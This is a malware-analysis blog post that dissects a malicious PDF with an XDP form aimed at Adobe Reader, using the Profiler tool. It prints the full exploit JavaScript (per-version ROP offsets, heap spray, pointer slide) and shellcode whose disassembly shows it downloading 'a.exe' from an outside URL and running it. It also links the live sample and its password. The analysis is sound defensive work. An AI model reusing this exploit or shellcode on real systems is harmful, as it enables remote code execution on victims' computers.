Today we’re going to analyze yet another sample of PDF containing an XDP form. The difference between this sample and the one of my previous post is that this one will be less about JavaScript deobfuscation and more about anti-analysis tricks.
If you want to follow hands-on the analysis, this is the link to the malware sample (password: infected29A). Also make sure to update Profiler to the current 2.6.2 version!
MD5: 4D686BCEE50538C969647CF8BB6601F6
SHA-256: 01F13FE4E597F832E8EDA90451B189CDAFFF80F8F26DEE31F6677D894688B370
Let’s open the Zip archive. The first thing we notice is that the file has been incorrectly identified as CFBF.
That’s because the beginning of the file contains a CFBF signature:
Offset 0 1 2 3 4 5 6 7 8 9 A B C D E F Ascii 00000000 D0 CF 11 E0 A1 B1 1A E1 00 00 00 00 00 00 00 00 ................
If we were to open the file directly from the file-system, we would be prompted to choose the correct file format:
But as such is not the case, we simply go to the decompressed stream in the Zip archive (or to the CFBF document, it doesn’t matter), position the cursor to the start of the file and press Ctrl+E.
We select the PDF format and then open the newly created embedded file in the hierarchy.
What we’ll notice by looking at the summary is that a stream failed to decompress, because it hit the memory limit. A tool-tip informs us that we can tweak this limit from the settings. So let’s click on “Go to report” in the tool-bar.
This will bring us to the main window. From there we can go to the settings and increase the limit.
In our case, 100 MBs are enough, since the stream which failed to decompress is approximately 90 MBs. Let’s click on “Save settings”, click on “Computer Scan” and then back to our file.
Let’s now repeat the procedure to load the embedded file as PDF and this time we won’t get the warning:
Just for the sake of cleanliness, we can also select the mistakenly identified CFBF embedded file and press “Delete”, in order to remove it from the analysis.
We are informed by the summary that the PDF contains an interactive form and, in fact, we can already see the XDP as child of the PDF.
We could directly proceed with the analysis of the XFA, but let’s just step back a second to analyze a trick this malware uses to break automatic analysis. The XFA is contained in the object 1.0 of the PDF.
Let’s go with the cursor to the stream part of the object (the one in turquoise), then let’s open the context menu and click on “Ranges->Select continuous range” (alternatively Ctrl+Alt+A). This will select the stream data of the object. Let’s now press Ctrl+T to invoke the filters and apply the unpack/zlib filter. If we now click on “Preview”, we’ll notice that an error is reported.
The stream is still decompressed, but it also reports an error. This is one of the trick this malware uses to break automatic analysis: the ZLib stream is corrupted at the very end.
Let’s now open the XFA. Immediately we can see another simple trick to fool identification of the XDP: a newline byte at the start.
Offset 0 1 2 3 4 5 6 7 8 9 A B C D E F Ascii 00000000 0A 3C 78 64 70 3A 78 64 70 20 78 6D 6C 6E 73 3A .<xdp:xdp.xmlns: 00000010 78 64 70 3D 22 68 74 74 70 3A 2F 2F 6E 73 2E 61 xdp="http://ns.a 00000020 64 6F 62 65 2E 63 6F 6D 2F 78 64 70 2F 22 20 74 dobe.com/xdp/".t
Given the huge size of the XDP it’s not wise to open it in the text editor, but we can look at the extracted JavaScript from the summary.
Here are the various parts which make up the JavaScript code:
// part 1 function pack(i){ var low = (i & 0xffff); var high = ((i>>16) & 0xffff); return String.fromCharCode(low)+String.fromCharCode(high); } function unpackAt(s, pos){ return s.charCodeAt(pos) + (s.charCodeAt(pos+1)<<16); } function packs(s){ result = ""; for (i=0;i<s.length;i+=2) result += String.fromCharCode(s.charCodeAt(i) + (s.charCodeAt(i+1)<<8)); return result; } function packh(s){ return String.fromCharCode(parseInt(s.slice(2,4)+s.slice(0,2),16)); } function packhs(s){ result = ""; for (i=0;i<s.length;i+=4) result += packh(s.slice(i,i+4)); return result; } var _offsets = {"Reader": { "9.303": { "acrord32": 0x85, "rop0": 0x14BA8, "rop1": 0x1E73AF, "rop1x": 0x2F12, "rop2": 0x196774, "rop3": 0xE475, "rop3x": 0xE476, "rop4": 0x3B2A, "GMHWA": 0x7F245C, "VPA": 0xB8809C, }, "9.304": { "acrord32": 0x85, "rop0": 0x14BD8, "rop1": 0x1E74BF, "rop1x": 0x2F12, "rop2": 0x1966A2, "rop3": 0xE495, "rop3x": 0xE496, "rop4": 0x3B2A, "GMHWA": 0x7F245C, "VPA": 0xB8809C, }, "9.4": { "acrord32": 0x85, "rop0": 0x14BD8, "rop1": 0x1C9D3F, "rop1x": 0x2F12, "rop2": 0x1792EE, "rop3": 0xE455, "rop3x": 0xE456, "rop4": 0x3B2A, "GMHWA": 0x7F245C, "VPA": 0xB8809C, }, // cut for the sake of brevity... // part 2 var slide_size=0x12c; var size = 200; var chunkx = "\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f"; var x = new Array(size); var y = new Array(size); var z = new Array(size); var pointers = new Array(100); var done = 0; // part 3 var i; var j; if (spray.done == 0){ var TOKEN = "\u5858\u5858\u5678\u1234"; var chunk_len = spray.slide_size/2-1-(TOKEN.length+2+2); for (i=0; i < spray.size; i+=1) spray.x[i] = TOKEN + util.pack(i) + spray.chunkx.substring(0, chunk_len) + util.pack(i) + ""; for (j=0; j < 1000; j++) for (i=spray.size-1; i > spray.size/4; i-=10) spray.x[i]=null; spray.done = 1; } // part 4 var i; var j; var found = -1; // Index of the overlapped string var acro = 0; // Base of the AcroRd32_dll var ver = app.viewerVersion.toFixed(3); var verArr = ver.split("."); var verA = parseInt(verArr[0]); var verB = (verArr.length > 1) ? parseInt(verArr[1]) : 0; var x1, x2, x3; if(verArr.length > 1) { verB = parseInt(verArr[1]); if(verArr[1].length == 1) verB *= 100; } else verB = 0; var shellcode = "\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u77eb\uc931\u8b64\u3071\u768b\u8b0c\u1c76\u5e8b\u8b08\u207e\u368b\u3966\u184f\uf275\u60c3\u6c8b\u2424\u458b\u8b3c\u0554\u0178\u8bea\u184a\u5a8b\u0120\ue3eb\u4934\u348b\u018b\u31ee\u31ff\ufcc0\u84ac\u74c0\uc107\u0dcf\uc701\uf4eb\u7c3b\u2824\ue175\u5a8b\u0124\u66eb\u0c8b\u8b4b\u1c5a\ueb01\u048b\u018b\u89e8\u2444\u611c\ue8c3\uff92\uffff\u815f\u98ef\uffff\uebff\ue805\uffed\uffff\u8e68\u0e4e\u53ec\u94e8\uffff\u31ff\u66c9\u6fb9\u516e\u7568\u6c72\u546d\ud0ff\u3668\u2f1a\u5070\u7ae8\uffff\u31ff\u51c9\u8d51\u8137\ueec6\uffff\u8dff\u0c56\u5752\uff51\u68d0\ufe98\u0e8a\ue853\uff5b\uffff\u5141\uff56\u68d0\ud87e\u73e2\ue853\uff4b\uffff\ud0ff\u6d63\u2e64\u7865\u2065\u632f\u2020\u2e61\u7865\u0065\u7468\u7074\u2f3a\u672f\u2e65\u7474\u322f\u3472\u6653\u6339\u0032\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090"; var shellcode2 = shellcode[0] + util.pack((verB << 16) | verA) + shellcode.substring(3); var add_num = verA >= 11 ? 16 : 14; for (i=0; i < spray.size; i+=1) if ((spray.x[i]!=null) && (spray.x[i][0] != "\u5858")){ found = i; acro_high_w = acro = (util.unpackAt(spray.x[i], add_num) >> 16); acro = (acro_high_w - util.offset("acrord32")) << 16; break; } if (found == -1){ event.target.closeDoc(true); } if (found == -1) { x1 = 0x1e1a757f; x2 = 0x11e5263c; x3 = 0x984caf6; acro = x1+x2+x3; } var chunky = ""; var heap_addr = 0x10101000; if (verA < 11) { for (i=0; i < 7; i+=1) chunky += util.pack(0x41414141); } chunky += util.pack(heap_addr); while (chunky.length < spray.slide_size/2) chunky += util.pack(0x58585858); for (j=0; j < 10000; j++) spray.x[found-1]=spray.x[found]=null; for (i=0; i < spray.size; i+=1){ ID = "" + i; spray.y[i] = chunky.substring(0,spray.slide_size/2-ID.length) + ID+ ""; } var obj = heap_addr; var pointer_slide = ""; pointer_slide += util.pack(acro+util.offset("rop1")); //add esp,60;ret for (i=0; i < 27; i+=1) { if ( i == 24 ) pointer_slide += util.pack(acro+util.offset("rop1x")); //-> rop2 else pointer_slide += util.pack(0x41414141); } obj += pointer_slide.length*2; // ROP pointer_slide += util.pack(acro+util.offset("rop0")); pointer_slide += util.pack(acro+util.offset("rop3x")); pointer_slide += util.pack(acro+util.offset("GMHWA")); pointer_slide += util.pack(acro+util.offset("rop4")); //@0x10 pointer_slide += util.pack(acro+util.offset("rop2")); pointer_slide += util.pack(obj+0xDC); pointer_slide += util.pack(obj+0xCC); pointer_slide += util.pack(0x43434343); //@0x20 pointer_slide += util.pack(0x43434343); pointer_slide += util.pack(0x43434343); pointer_slide += util.pack(acro+util.offset("rop3")); pointer_slide += util.pack(acro+util.offset("rop3")); //@0x30 pointer_slide += util.pack(acro+util.offset("VPA")); pointer_slide += util.pack(acro+util.offset("rop4")); pointer_slide += util.pack(obj+0x50); pointer_slide += util.pack(obj+0x50); //0x40 pointer_slide += util.pack(0x1000); pointer_slide += util.pack(0x40); pointer_slide += util.pack(obj+0x4C); pointer_slide += util.pack(0x00000000); //0x50 pointer_slide += util.packhs("E999000000909090"); pointer_slide += util.pack(acro); pointer_slide += util.pack(0xCCCCCCCC); //0x60 pointer_slide += util.pack(0xCCCCCCCC); pointer_slide += util.pack(0xCCCCCCCC); pointer_slide += util.pack(0xCCCCCCCC); pointer_slide += util.pack(0xCCCCCCCC); //0x70 pointer_slide += util.pack(0xCCCCCCCC); pointer_slide += util.pack(0xCCCCCCCC); pointer_slide += util.pack(acro); pointer_slide += util.pack(0x48484848); //0x80 pointer_slide += util.pack(0x49494949); pointer_slide += util.pack(0x50505050); pointer_slide += util.pack(0x46464646); pointer_slide += util.pack(0x46464646); //0x90 pointer_slide += util.pack(0x46464646); pointer_slide += util.pack(0x46464646); pointer_slide += util.pack(0x46464646); pointer_slide += util.pack(0x46464646); //0xa0 pointer_slide += util.pack(0x46464646); pointer_slide += util.pack(0x46464646); pointer_slide += util.pack(0x46464646); pointer_slide += util.pack(0x46464646); //0xb0 pointer_slide += util.pack(0x46464646); pointer_slide += util.pack(0x46464646); pointer_slide += util.pack(0x46464646); pointer_slide += util.pack(0x46464646); //0xc0 pointer_slide += util.pack(0x46464646); pointer_slide += util.pack(0x46464646); pointer_slide += util.pack(0xCCCCCCCC); pointer_slide += util.packs("VirtualProtect"); //@0xCC pointer_slide += "\u0000"; pointer_slide += "KERNEL32"; pointer_slide += "\u0000"; pointer_slide += shellcode; while (pointer_slide.length < 0x1000/2) pointer_slide += util.pack(0x41414141); pointer_slide = pointer_slide.substring(0,0x1000/2); while (pointer_slide.length < 0x100000/2) pointer_slide += pointer_slide; for (i=0; i < 100; i+=1) spray.pointers[i] = pointer_slide.substring(16, 0x100000/2-16-2)+ util.pack(i) + ""; if(verA > 9) xfa.host.messageBox("Page not found !", "Adobe Acrobat", 3, 1); var pdfDoc = event.target; pdfDoc.closeDoc(true);
The first part contains the information needed to construct ROP for the various versions of Adobe Reader. In the last part we can see that the JavaScript code sprays the heap. So probably they rely on a huge image embedded in the XDP (which is actually the reason why the XDP is so big) to trigger the exploit.
<field name="ImageCrash"> <ui> <imageEdit/> </ui> <value> <image>Qk3AAAAAAAAAAAAAAABAAAAALAEAAAEAAAABAAgAAQAAAAAAAAAAAAAAA...
The field name is aptly named “ImageCrash”.
Let’s go back to the shellcode part and let’s analyze that. I’m talking about the part of code which starts with:
var shellcode = "\u9090\u9090\u9090\u9090\u9090\u9090...
We could of course copy that part of a text view, remove the \u, then convert to bytes and then apply a filter to reorder them, as in JavaScript the words are in big-endian. But we can do it even more elegantly and make our shellcode appears as an embedded file. So let’s select the byte array from the hex editor:
Let’s now press Ctrl+E and click on the “Filters” button.
What we want to do is to first remove the “\u” escape. So we add the filter misc/replace and specify “\u” as in and nothing as out (we leave ascii mode as default). Now we have stripped the data from the escape characters. Now we need to convert it from ascii hex to bytes. So we add the convert/from_hex filter. The last step, as already mentioned, is that we need to switch the byte order in the words. To do that, we’ll use the lua/custom filter. I only modified slightly the default script:
function run(filter) local c = filter:container() local size = c:size() local offset = 0 local bsize = 16384 while size ~= 0 do if bsize > size then bsize = size end local block = c:read(offset, bsize) local boffs = 0 while boffs < bsize do local e = block:readU8(boffs) local f = block:readU8(boffs + 1) block:writeU8(boffs, f) block:writeU8(boffs + 1, e) boffs = boffs + 2 end c:write(offset, block) offset = offset + bsize size = size - bsize end return Base.FilterErr_None end
If you want to avoid this part, you can simply import the filters I created:
<flts><f name='misc/replace' in='5c75' out=''/><f name='convert/from_hex'/><f name='lua/custom' script='ZnVuY3Rpb24gcnVuKGZpbHRlcikKICAgIGxvY2FsIGMgPSBmaWx0ZXI6Y29udGFpbmVyKCkKICAgIGxvY2FsIHNpemUgPSBjOnNpemUoKQogICAgbG9jYWwgb2Zmc2V0ID0gMAogICAgbG9jYWwgYnNpemUgPSAxNjM4NAogICAgd2hpbGUgc2l6ZSB+PSAwIGRvCiAgICAgICAgaWYgYnNpemUgPiBzaXplIHRoZW4gYnNpemUgPSBzaXplIGVuZAogICAgICAgIGxvY2FsIGJsb2NrID0gYzpyZWFkKG9mZnNldCwgYnNpemUpCiAgICAgICAgbG9jYWwgYm9mZnMgPSAwCiAgICAgICAgd2hpbGUgYm9mZnMgPCBic2l6ZSBkbwogICAgICAgICAgICBsb2NhbCBlID0gYmxvY2s6cmVhZFU4KGJvZmZzKQogICAgICAgICAgICBsb2NhbCBmID0gYmxvY2s6cmVhZFU4KGJvZmZzICsgMSkKICAgICAgICAgICAgYmxvY2s6d3JpdGVVOChib2ZmcywgZikKICAgICAgICAgICAgYmxvY2s6d3JpdGVVOChib2ZmcyArIDEsIGUpCiAgICAgICAgICAgIGJvZmZzID0gYm9mZnMgKyAyCiAgICAgICAgZW5kCiAgICAgICAgYzp3cml0ZShvZmZzZXQsIGJsb2NrKQogICAgICAgIG9mZnNldCA9IG9mZnNldCArIGJzaXplCiAgICAgICAgc2l6ZSA9IHNpemUgLSBic2l6ZQogICAgZW5kCiAgICByZXR1cm4gQmFzZS5GaWx0ZXJFcnJfTm9uZQplbmQ='/></flts>
By opening the embedded shellcode file, Profiler will have automatically detected the shellcode:
By looking at the hex-view we can already guess where the shellcode is going to download its payload to execute from:
Offset 0 1 2 3 4 5 6 7 8 9 A B C D E F Ascii
00000000 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
00000010 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
00000020 EB 77 31 C9 64 8B 71 30 8B 76 0C 8B 76 1C 8B 5E .w1.d.q0.v..v..^
00000030 08 8B 7E 20 8B 36 66 39 4F 18 75 F2 C3 60 8B 6C ..~..6f9O.u..`.l
00000040 24 24 8B 45 3C 8B 54 05 78 01 EA 8B 4A 18 8B 5A $$.E<.T.x...J..Z
00000050 20 01 EB E3 34 49 8B 34 8B 01 EE 31 FF 31 C0 FC ....4I.4...1.1..
00000060 AC 84 C0 74 07 C1 CF 0D 01 C7 EB F4 3B 7C 24 28 ...t........;|$(
00000070 75 E1 8B 5A 24 01 EB 66 8B 0C 4B 8B 5A 1C 01 EB u..Z$..f..K.Z...
00000080 8B 04 8B 01 E8 89 44 24 1C 61 C3 E8 92 FF FF FF ......D$.a......
00000090 5F 81 EF 98 FF FF FF EB 05 E8 ED FF FF FF 68 8E _.............h.
000000A0 4E 0E EC 53 E8 94 FF FF FF 31 C9 66 B9 6F 6E 51 N..S.....1.f.onQ
000000B0 68 75 72 6C 6D 54 FF D0 68 36 1A 2F 70 50 E8 7A hurlmT..h6./pP.z
000000C0 FF FF FF 31 C9 51 51 8D 37 81 C6 EE FF FF FF 8D ...1.QQ.7.......
000000D0 56 0C 52 57 51 FF D0 68 98 FE 8A 0E 53 E8 5B FF V.RWQ..h....S.[.
000000E0 FF FF 41 51 56 FF D0 68 7E D8 E2 73 53 E8 4B FF ..AQV..h~..sS.K.
000000F0 FF FF FF D0 63 6D 64 2E 65 78 65 20 2F 63 20 20 ....cmd.exe./c..
00000100 61 2E 65 78 65 00 68 74 74 70 3A 2F 2F 67 65 2E a.exe.http://ge.
00000110 74 74 2F 32 72 34 53 66 39 63 32 00 90 90 90 90 tt/2r4Sf9c2.....
00000120 90 90 90 90 90 90 ......
But let's analyze it anyway. Let's press Ctrl+A and then Ctrl+R. Let's execute the action "Debug->Shellcode to executable" to debug the shellcode with a debugger like OllyDbg.
Here's the (very simple) analysis:
; Platform: x86 0000001C: nop 0000001D: nop 0000001E: nop 0000001F: nop 00000020: jmp 0x99 ; Kernel32 from PEB function 00000022: xor ecx, ecx 00000024: mov esi, dword ptr fs:[ecx + 0x30] 00000028: mov esi, dword ptr [esi + 0xc] 0000002B: mov esi, dword ptr [esi + 0x1c] 0000002E: mov ebx, dword ptr [esi + 8] 00000031: mov edi, dword ptr [esi + 0x20] 00000034: mov esi, dword ptr [esi] 00000036: cmp word ptr [edi + 0x18], cx 0000003A: jne 0x2e 0000003C: ret ; GetProcAddress function 0000003D: pushal 0000003E: mov ebp, dword ptr [esp + 0x24] 00000042: mov eax, dword ptr [ebp + 0x3c] 00000045: mov edx, dword ptr [ebp + eax + 0x78] 00000049: add edx, ebp 0000004B: mov ecx, dword ptr [edx + 0x18] 0000004E: mov ebx, dword ptr [edx + 0x20] 00000051: add ebx, ebp 00000053: jecxz 0x89 00000055: dec ecx 00000056: mov esi, dword ptr [ebx + ecx*4] 00000059: add esi, ebp 0000005B: xor edi, edi 0000005D: xor eax, eax 0000005F: cld 00000060: lodsb al, byte ptr [esi] 00000061: test al, al 00000063: je 0x6c 00000065: ror edi, 0xd 00000068: add edi, eax 0000006A: jmp 0x60 0000006C: cmp edi, dword ptr [esp + 0x28] 00000070: jne 0x53 00000072: mov ebx, dword ptr [edx + 0x24] 00000075: add ebx, ebp 00000077: mov cx, word ptr [ebx + ecx*2] 0000007B: mov ebx, dword ptr [edx + 0x1c] 0000007E: add ebx, ebp 00000080: mov eax, dword ptr [ebx + ecx*4] 00000083: add eax, ebp 00000085: mov dword ptr [esp + 0x1c], eax 00000089: popal 0000008A: ret ; find Kernel32 from PEB 0000008B: call 0x22 ; make edi point do the data part 00000090: pop edi 00000091: sub edi, 0xffffff98 00000097: jmp 0x9e 00000099: call 0x8b ; resolve LoadLibraryA 0000009E: push 0xec0e4e8e 000000A3: push ebx 000000A4: call 0x3d ; load urlmon 000000A9: xor ecx, ecx 000000AB: mov cx, 0x6e6f 000000AF: push ecx 000000B0: push 0x6d6c7275 000000B5: push esp 000000B6: call eax ; resolve URLDownloadToFileA 000000B8: push 0x702f1a36 000000BD: push eax 000000BE: call 0x3d ; download file from "hxxp://ge.tt/2r4Sf9c2" and save it as "a.exe" 000000C3: xor ecx, ecx 000000C5: push ecx 000000C6: push ecx 000000C7: lea esi, dword ptr [edi] 000000C9: add esi, 0xffffffee 000000CF: lea edx, dword ptr [esi + 0xc] 000000D2: push edx 000000D3: push edi 000000D4: push ecx 000000D5: call eax ; resolve WinExec 000000D7: push 0xe8afe98 000000DC: push ebx 000000DD: call 0x3d ; call WinExec on "a.exe" 000000E2: inc ecx 000000E3: push ecx 000000E4: push esi 000000E5: call eax ; resolve ExitProcess 000000E7: push 0x73e2d87e 000000EC: push ebx 000000ED: call 0x3d ; call ExitProcess 000000F2: call eax
You can also download the Profiler project with the complete analysis already performed (same password: infected29A). Please notice, you'll be prompted twice for the password: once for the project and once for the Zip archive.
I hope you enjoyed the read!
Amazing. Really like a swiss army knife. The whole reversing process took place in a single tool! 😉
Hehe, thank you, Elias! 🙂